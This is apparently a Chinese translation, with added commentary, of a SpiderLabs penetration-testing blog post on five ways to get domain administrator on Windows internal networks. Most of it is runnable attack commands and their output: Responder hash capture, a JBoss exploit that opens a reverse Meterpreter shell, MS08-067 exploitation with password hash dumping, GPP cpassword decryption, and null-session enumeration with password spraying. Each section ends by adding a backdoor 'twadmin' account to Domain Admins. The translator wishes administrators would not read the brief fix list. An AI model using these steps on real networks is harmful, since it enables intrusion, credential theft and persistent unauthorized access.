得到内网域管理员的5种常见方法
from:http://blog.spiderlabs.com/2013/09/top-five-ways-spiderlabs-got-domain-admin-on-your-internal-network.html
spiderlabs总结的,我简单翻译下,偶尔加点我的牢骚。
1.Netbios and LLMNR Name Poisoning
这个方法在WIN工作组下渗透很有用,WIN的请求查询顺序是下面三个步骤:本地hosts文件(%windir%System32driversetchosts),DNS服务器,NetBIOS广播,如果前2个请求失败,则在本地发送NetBIOS广播请求,此时任何本地网络的系统都能回答这个请求,使用SpiderLabs出品的Responder工具,能够在不借助ARP欺骗的情况下,响应这个请求.其实metasploit也能利用(http://www.packetstan.com/2011/03/nbns-spoofing-on-your-way-to-world.html),但实际测试还是Responder比较好,都是套用标准库写的,很方便在目标上使用:)
~/Responder# python Responder.py -i 192.168.8.25 NBT Name Service/LLMNR Answerer 1.0. Please send bugs/comments to: lgaffie@trustwave.com To kill this script hit CRTL-C [ ]NBT-NS & LLMNR responder started Global Parameters set: Challenge set is: 1122334455667788 WPAD Proxy Server is:OFF HTTP Server is:ON HTTPS Server is:ON SMB Server is:ON SMB LM support is set to:0 SQL Server is:ON FTP Server is:ON DNS Server is:ON LDAP Server is:ON FingerPrint Module is:OFF LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.112. The requested name was : wpad. LLMNR poisoned answer sent to this IP: 192.168.8.12. The requested name was : 110. …snip… NBT-NS Answer sent to: 192.168.8.6 [ ]SMB-NTLMv2 hash captured from : 192.168.8.6 Domain is : BEACONHILLSHIGH User is : smccall [ ]SMB complete hash is : smccall::BEACONHILLSHIGH:1122334455667788:reallylonghash Share requested: \ECONOMY309IPCpiD3rsRul3! /add /domain net user twadmin piD3rsRul3! /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully. C:WINDOWSsystem32> net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain beaconhillshigh.edu. The command completed successfully 2.利用jboss漏洞
可以前期先用nmap扫描下端口,识别出常见的JAVA应用服务器,后期配合Metasploit的auxiliary模块来利用.比如jboss漏洞.最常见的就是弱口令了吧,同理的,也可以寻找webloigc,websphere,tomcat等这些基于JAVA的应用服务器,还有最近国内政府部门部署比较多的Apusic,不过需要注意war包格式,进后台,直接部署WAR就行了.jboss的除了弱口令,还有个后台绕过,和流传很久的1337那个.用例说下如何用metasploit暴力解析jboss后台,以及部署war包.
msfcli auxiliary/scanner/http/dir_scanner THREADS=25 RHOSTS=file:./8080 DICTIONARY=./http.scan.list RPORT=8080 E >> http.jboss.8080 ~/work/nmap# cat http.jboss.8080 < -- 这个是开25线程字典跑8080端口jboss后台的 [*] Initializing modules... THREADS => 25 RHOSTS => file:./8080 DICTIONARY => ./http.scan.list RPORT => 8080 [*] Detecting error code [*] Detecting error code [*] Detecting error code [*] Detecting error code [*] Using code '404' as not found for 192.168.5.18 [*] Using code '404' as not found for 192.168.5.21 [*] Using code '404' as not found for 192.168.5.20 [*] Found http://192.168.5.20:8080/web-console/ 401 (192.168.5.20) [*] http://192.168.5.20:8080/web-console/ requires authentication: Basic realm="JBoss JMX Console" [*] Found http://192.168.5.20:8080/web-console/ 404 (192.168.5.20) [*] Found http://192.168.5.20:8080/jmx-console/ 401 (192.168.5.20) [*] http://192.168.5.20:8080/jmx-console/ requires authentication: Basic realm="JBoss JMX Console" [*] Found http://192.168.5.21:8080/jmx-console/ 404 (192.168.5.21) [*] Scanned 4 of 4 hosts (100% complete) [*] Auxiliary module execution completed Output from use auxiliary/scanner/http/jboss_vulnscan: [*] 192.168.5.20:8080 /jmx-console/HtmlAdaptor requires authentication (401): Basic realm="JBoss JMX Console" [*] 192.168.5.20:8080 Check for verb tampering (HEAD) [ ] 192.168.5.20:8080 Got authentication bypass via HTTP verb tampering [ ] 192.168.5.20:8080 Authenticated using admin:admin [ ] 192.168.5.20:8080 /status does not require authentication (200) [ ] 192.168.5.20:8080 /web-console/ServerInfo.jsp does not require authentication (200) [ ] 192.168.5.20:8080 /web-console/Invoker does not require authentication (200) [ ] 192.168.5.20:8080 /invoker/JMXInvokerServlet does not require authentication (200) Output from use exploit/multi/http/jboss_maindeployer: < --部署war包 msf exploit(jboss_maindeployer) > exploit [*] Started reverse handler on 192.168.5.233:4444 [*] Sorry, automatic target detection doesn't work with HEAD requests [*] Automatically selected target "Java Universal" [*] Starting up our web service on http://192.168.5.233:1337/HlusdqEcokvXH.war ... [*] Using URL: http:// 192.168.5.233:1337/HlveuqEzrovXH.war [*] Asking the JBoss server to deploy (via MainDeployer) http://192.168.5.233:1337/HlusdqEcokvXH.war [*] Sending the WAR archive to the server... [*] Sending the WAR archive to the server... [*] Waiting for the server to request the WAR archive.... [*] Shutting down the web service... [*] Executing HlusdqEcokvXH... [ ] Successfully triggered payload at '/HlusdqEcokvXH/ewNYTEdFnYdcaOl.jsp' [*] Undeploying HlusdqEcokvXH... [*] Sending stage (30355 bytes) to 192.168.5.159 [*] Meterpreter session 1 opened (192.168.5.233:4444 -> 192.168.5.20:4209) at 2013-09-15 19:00:06 -0600 meterpreter > sysinfo Computer : BHHSMOFF011 OS : Windows 2003 5.2 (x86) Meterpreter : java/java meterpreter > shell Process 1 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:DELLBACEJBContainerbin>whoami whoami beaconhillshighbackup_admin C:>net user twadmin
3.MS08-067
这个漏洞已经超过4年了,但是内网中还是有很多机器没有打补丁,影响的有(Windows Server 2000, Windows Server 2003, and Windows XP),不过说实话,我内网渗透的过程中很少用MS08-067,因为溢出不好,有可能造成DOS,被人发现了,就不好了,你懂得.
nmap --script=smb-check-vulns.nse -v -v -p 445,139 -iL smb -oA ms08 less ms08.nmap < -- 使用NMAP的smb-check-vulns脚本识别下 ...snip... Nmap scan report for shelob-squared (192.168.1.103) Host is up (0.00042s latency). Scanned at 2013-09-16 21:52:32 CDT for 55s PORT STATE SERVICE 139/tcp open netbios-ssn 445/tcp open microsoft-ds MAC Address: 00:0C:29:E3:25:78 (VMware) Host script results: | smb-check-vulns: | MS08-067: VULNERABLE <--bingo..有漏洞 | Conficker: Likely CLEAN | SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE | MS06-025: NO SERVICE (the Ras RPC service is inactive) |_ MS07-029: NO SERVICE (the Dns Server RPC service is inactive) ...snip...
nmap的NSE脚本是用LUA语言写的,把这些NSE都过一遍,对渗透很有帮助哦,尤其是在LINUX平台,win平台下除了有几种扫描方式利用不了,NSE脚本照样可以用,不过LINUX上默认安装的NMAP版本都比较低了,你不能直接放NSE到目录,注意看库之间的依赖关系,才能利用,上次看wooyun的drops,livers大牛回复我们组的Anthr@X牛的InsightScan.py,说用nse也实现了一个,我只想说,你能偷偷发我一份吗?
接下来,还是用metasploit溢出，不知道对中文系统效果怎么样，我没有试过 =.=
msf > use windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > set RHOST 192.168.1.103 RHOST => 192.168.1.103 msf exploit(ms08_067_netapi) > set TARGET 0 TARGET => 0 msf exploit(ms08_067_netapi) > set LHOST 192.168.1.215 LHOST => 192.168.1.215 msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp PAYLOAD => windows/meterpreter/bind_tcp msf exploit(ms08_067_netapi) > exploit [*] Started bind handler [*] Automatically detecting the target... [*] Fingerprint: Windows XP - Service Pack 2 - lang:English [*] Selected Target: Windows XP SP2 English (AlwaysOn NX) [*] Attempting to trigger the vulnerability... [*] Sending stage (752128 bytes) to 192.168.1.103 [*] Meterpreter session 1 opened (192.168.1.215:33354 -> 192.168.1.103:4444) at 2013-09-16 21:54:15 -0500 meterpreter > getsystem ...got system (via technique 1). meterpreter > sysinfo Computer : SHELOB-SQUARED OS : Windows XP (Build 2600, Service Pack 2). Architecture : x86 System Language : en_US Meterpreter : x86/win32 meterpreter > run hashdump [*] Obtaining the boot key... [*] Calculating the hboot key using SYSKEY 48c76bfa334c4c21edd1154db541c2c2... [*] Obtaining the user list and keys... [*] Decrypting user keys... [*] Dumping password hints... Frodo:"what do i have" Samwise:"Frodo" Stryder:"love" Legolas:"favorite saying" Gimli:"what am i" Boromir:"what I am" Gandalf:"moria" [*] Dumping password hashes... Administrator:500:f75d090d8564fd334a3b108f3fa6cb6d:3019d5d61cdf713c7b677efefc22f0e5::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: HelpAssistant:1000:7e8a50750d9a1a30d3d4a83f88ea86ab:6fba9c0f469be01bab209ee2785a818d::: SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:861165412001ece0a5e73ab8863129d8::: Frodo:1003:74052b0fb3d802a3be4db4ed34a95891:a7cee25799f518f9bd886683a13ed6d0::: Samwise:1004:aad3b435b51404eeaad3b435b51404ee:7dff81410af5e2d0c2b6e54a98a8f622::: Stryder:1005:825f8bc99c2a5013e72c57ef50f76a05:1047f0b952cfbffbdd6c34ef6bd610e5::: Legolas:1006:625d787db20f1dd8aad3b435b51404ee:cc5b9f225e569fa3a2534be394df531a::: Gimli:1007:aad3b435b51404eeaad3b435b51404ee:e4d2534368ff0f1cbe2a42c5d79b9818::: Boromir:1008:e3bee25ac9de68cec2cc282901fd62d9:4231db4c15025d1951f3c0d39d8656a2::: Gandalf:1009:20ef2c7725e35c1dbd7cfc62789a58c8:02d0a4d2b6c7d485a935778eb90e0446::: meterpreter > shell Process 2708 created. Channel 1 created. Microsoft Windows XP [Version 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C: WINDOWSsystem32>whoami whoami MIRKWOODGandalf C:WINDOWSsystem32>net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:WINDOWSsystem32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.
4. GPO cpassword
这个原理完全可以看瞌睡龙牛翻译的http://drops.wooyun.org/papers/576,本文中亮点是他从LINUX连接到WIN的,有许多同学不会通过linux渗透WIN域,尤其是在得到一个WEBSHELL,还是ROOT权限,还是跟内网连着,还有个域用户的情况下(=.=现实中哪儿有这么多好的条件让你都碰到了)
smbclient -W MIRKWOOD -U ‘Legolas%orcs’ \\192.168.1.105\SYSVOL < --使用smbclient连接, 支持上传下载 Domain=[ MIRKWOOD] OS=[Windows Server 2008 R2 Standard 7600] Server=[Windows Server 2008 R2 Standard 6.1] smb: > dir . D 0 Wed Sep 15 15:08:37 2012 .. D 0 Wed Sep 15 15:08:37 2012 mirkwood.local D 0 Wed Sep 15 15:08:37 2012 48457 blocks of size 4194304. 44175 blocks available smb: > cd mirkwood.local smb: smirkwood.local> dir . D 0 Wed Sep 15 15:13:05 2012 .. D 0 Wed Sep 15 15:13:05 2012 Policies D 0 Tue Oct 30 10:29:31 2012 scripts D 0 Thu Nov 8 12:50:21 2012 smb:> recurse smb:> prompt off smb:> mget Policies …snip… getting file mirkwoodPoliciesPolicyDefinitionsaccess32.admx of size 98874 as access32.admx (3657.0 KiloBytes/sec) (average 3657.0 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsaccess34.admx of size 131924 as access34.admx (27324.5 KiloBytes/sec) (average 7038.2 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsActiveXInstallService.admx of size 7217 as ActiveXInstallService.admx (2303.1 KiloBytes/sec) (average 6722.5 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsAddRmvPrograms.admx of size 7214 as AddRmvPrograms.admx (2301.6 KiloBytes/sec) (average 6446.2 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsasdf.admx of size 4249 as asdf.admx (122.0 KiloBytes/sec) (average 4940.4 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsAppCompat.admx of size 4893 as AppCompat.admx (2633.2 KiloBytes/sec) (average 4835.6 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsAttachmtMgr.admx of size 3865 as AttachmtMgr.admx (2912.5 KiloBytes/sec) (average 4752.0 KiloBytes/sec) getting file mirkwood PoliciesPolicyDefinitionsAutoPlay.admx of size 5591 as AutoPlay.admx …snip… smb:> recurse smb:> prompt off smb:> mget scripts …snip… smb: avi> mget scripts Get directory scripts? y Get directory bin? y Get file #INCLUDE.BAT? y getting file mirkwood scriptsbin#INCLUDE.BAT of size 2839 as #INCLUDE.BAT (409.6 KiloBytes/sec) (average 409.7 KiloBytes/sec) getting file mirkwood scriptsbinNETLOGON.BAT of size 1438 as NETLOGON.BAT (28.9 KiloBytes/sec) (average 137.7 KiloBytes/sec) getting file mirkwood scriptsbinNETLOGON2.BAT of size 16781 as NETLOGON2.BAT (691.0 KiloBytes/sec) (average 566.0 KiloBytes/sec) getting file mirkwood scriptsbinNETLOGON3.BAT of size 16486 as NETLOGON3.BAT (1268.5 KiloBytes/sec) (average 773.6 KiloBytes/sec) getting file mirkwood scriptsbinNETLOGON4.BAT of size 17429 as NETLOGON4.BAT (1108.7 KiloBytes/sec) (average 858.8 KiloBytes/sec) …snip…
Once the files are downloaded, grep through both policies and scripts for Administrator or cpassword (either would work in this instance):
grep -ri administrator . grep -ri cpassword . ~/work/nmap/192.168.1.0-24/downloads/Policies# grep -ri administrator . ./{FC71D7SS-51E2-4B9D-B261-GB8C9733D433}/Machine/Preferences/Groups/Groups.xml: :
The cpassword is taken and run through the decryption script from http://carnal0wnage.attackresearch.com/2012/10/group-policy-preferences-and-getting.html.
~/work# ruby decrypt.rb < --解密 Local*P4ssword! ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\’Administrator%Local*P4ssword!’ --uninstall --system //192.168.1.103 cmd.exe <-- winexe和win下经典工具psexec效果一样一样的 Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C:WINDOWSsystem32> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:WINDOWSsystem32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.
5.NetBIOS Null Enumeration Allowed on Server
其实就是说,域服务器,允许你空会话连接,然后列举账户信息,然后在破解账户,LINUX下用enum4linux.pl遍历用户,用medusa破解帐号,用winexec连接执行命令.WIN下的话,< <黑客大曝光>>查点那章看过木?
~/enum4linux.pl -u Legolas -p orcs -w MIRKWOOD -a 192.168.1.90 >> enum-192.168.1.90 ~/work/targets/192.168.1.0-24# cat enum-192.168.1.90 Starting enum4linux v0.8.7 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Sep 10 10:15:14 2013 ========================== | Target Information | ========================== Target ........... 192.168.1.90 RID Range ........ 500-550,1000-1050 Username ......... '' Password ......... '' Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none =================================================== | Enumerating Workgroup/Domain on 192.168.1.90 | =================================================== [ ] Got domain/workgroup name: MIRKWOOD =========================================== | Nbtstat Information for 192.168.1.90 | =========================================== Looking up status of 192.168.1.90 MODOR <00> - M Workstation Service MIRKWOOD <00> - M Domain/Workgroup Name MIRKWOOD <1c> - M Domain Controllers MORDOR <20> - M File Server Service MAC Address = B5-AD-2F-37-2G-4F ==================================== | Session Check on 192.168.1.90 | ==================================== [ ] Server 192.168.1.90 allows sessions using username '', password '' …snip… ============================ | Users on 192.168.1.90 | ============================ index: 0x2b76 RID: 0xd08 acb: 0x00000610 Account: Administrator Name: Administrator Desc: (null) index: 0x1822 RID: 0xb0a acb: 0x00000414 Account: Frodo Name: Frodo Baggins Desc: (null) index: 0x1bga RID: 0xc0a acb: 0x00080210 Account: Samwise Name: Samwise Gamgee User Desc: (null) index: 0x1dc4 RID: 0xc7a acb: 0x00050210 Account: Stryder Name: Aragorn User Desc: (null) index: 0x1823 RID: 0xb0b acb: 0x00007014 Account: Legolas Name: Legolas Greenleaf Desc: (null) index: 0x1824 RID: 0xb0c acb: 0x00010014 Account: Gimli Name: Gimli son of Glóin Desc: (null) index: 0x1825 RID: 0xb0d acb: 0x00300014 Account: Boromir Name: Boromir son of Denethor II Desc: (null) index: 0x126f RID: 0x9eb acb: 0x00004014 Account: Gandalf Name: Gandalf the Gray Desc: (null) index: 0x1826 RID: 0xb0e acb: 0x00020015 Account: gollum Name: gollum Desc: (null) …snip… ~/work/targets/192.168.1.90# cat enum-192.168.1.90 .txt | grep "Domain Admins" Group 'Administrators' (RID: 544) has member: MIRKWOODDomain Admins Group:[Domain Admins] rid:[0x200] Group 'Domain Admins' (RID: 512) has member: MIRKWOOD Gandalf Group 'Domain Admins' (RID: 512) has member: MIRKWOOD Stryder Group 'Domain Admins' (RID: 512) has member: MIRKWOOD Administrator Group 'Domain Admins' (RID: 512) has member: MIRKWOOD gollum Group 'Domain Admins' (RID: 512) has member: MIRKWOOD Saruman S-1-5-21-8675309254-522963170-1866889882-512 MIRKWOOD Domain Admins (Domain Group) S-1-5-21-1897573695-8675309227-1212564242-512 MORDORDomain Admins (Domain Group) ~/work/nmap/# medusa -M smbnt -H smb -u gollum -p gollum -m GROUP:DOMAIN | tee smb-gollum.medusa ACCOUNT CHECK: [smbnt] Host: 192.168.1.1 (1 of 62, 0 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.1 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.100 (2 of 62, 1 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.100 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.105 (3 of 62, 2 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.105 User: gollum Password: gollum [SUCCESS] ACCOUNT CHECK: [smbnt] Host: 192.168.1.106 (4 of 62, 3 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.106 User: gollum Password: gollum [SUCCESS (0x000072:STATUS_ACCOUNT_DISABLED)] ACCOUNT CHECK: [smbnt] Host: 192.168.1.107 (5 of 62, 4 complete) User: ssadmin (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.107 User: gollum Password: gollum [SUCCESS] ACCOUNT CHECK: [smbnt] Host: 192.168.1.11 (7 of 62, 6 complete) User: gollum (1 of 1, 0 complete) Password: gollum (1 of 1 complete) ACCOUNT FOUND: [smbnt] Host: 192.168.1.11 User: gollum Password: gollum [SUCCESS] …snip… ~/work/nmap# ~/SpiderLabs/winexe-PTH -U MIRKWOOD\gollum%gollum --uninstall --system //192.168.1.106 cmd.exe Microsoft Windows [Version 5.2.3790] (C) Copyright 1985-2003 Microsoft Corp. C: WINDOWSsystem32>whoami whoami MIRKWOODgollum C:WINDOWSsystem32>> net user twadmin $piD3rsRul3! /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully. C:WINDOWSsystem32>net group "Domain Admins" twadmin /add /domain net group "Domain Admins" twadmin /add /domain The request will be processed at a domain controller for domain MIRKWOOD. The command completed successfully.
修补方法:[真心不希望管理员看到]
1.少用XP/win2k吧,否则为了某些兼容性,很少能全面禁止Netbios and LLMNR Name Poisoning
2.从知名站点下载软件安装程序,更换软件自带的默认口令
3.勤劳打全系统补丁
4.做好账户审核
5.禁止空会话,关键服务器,做好VLAN划分
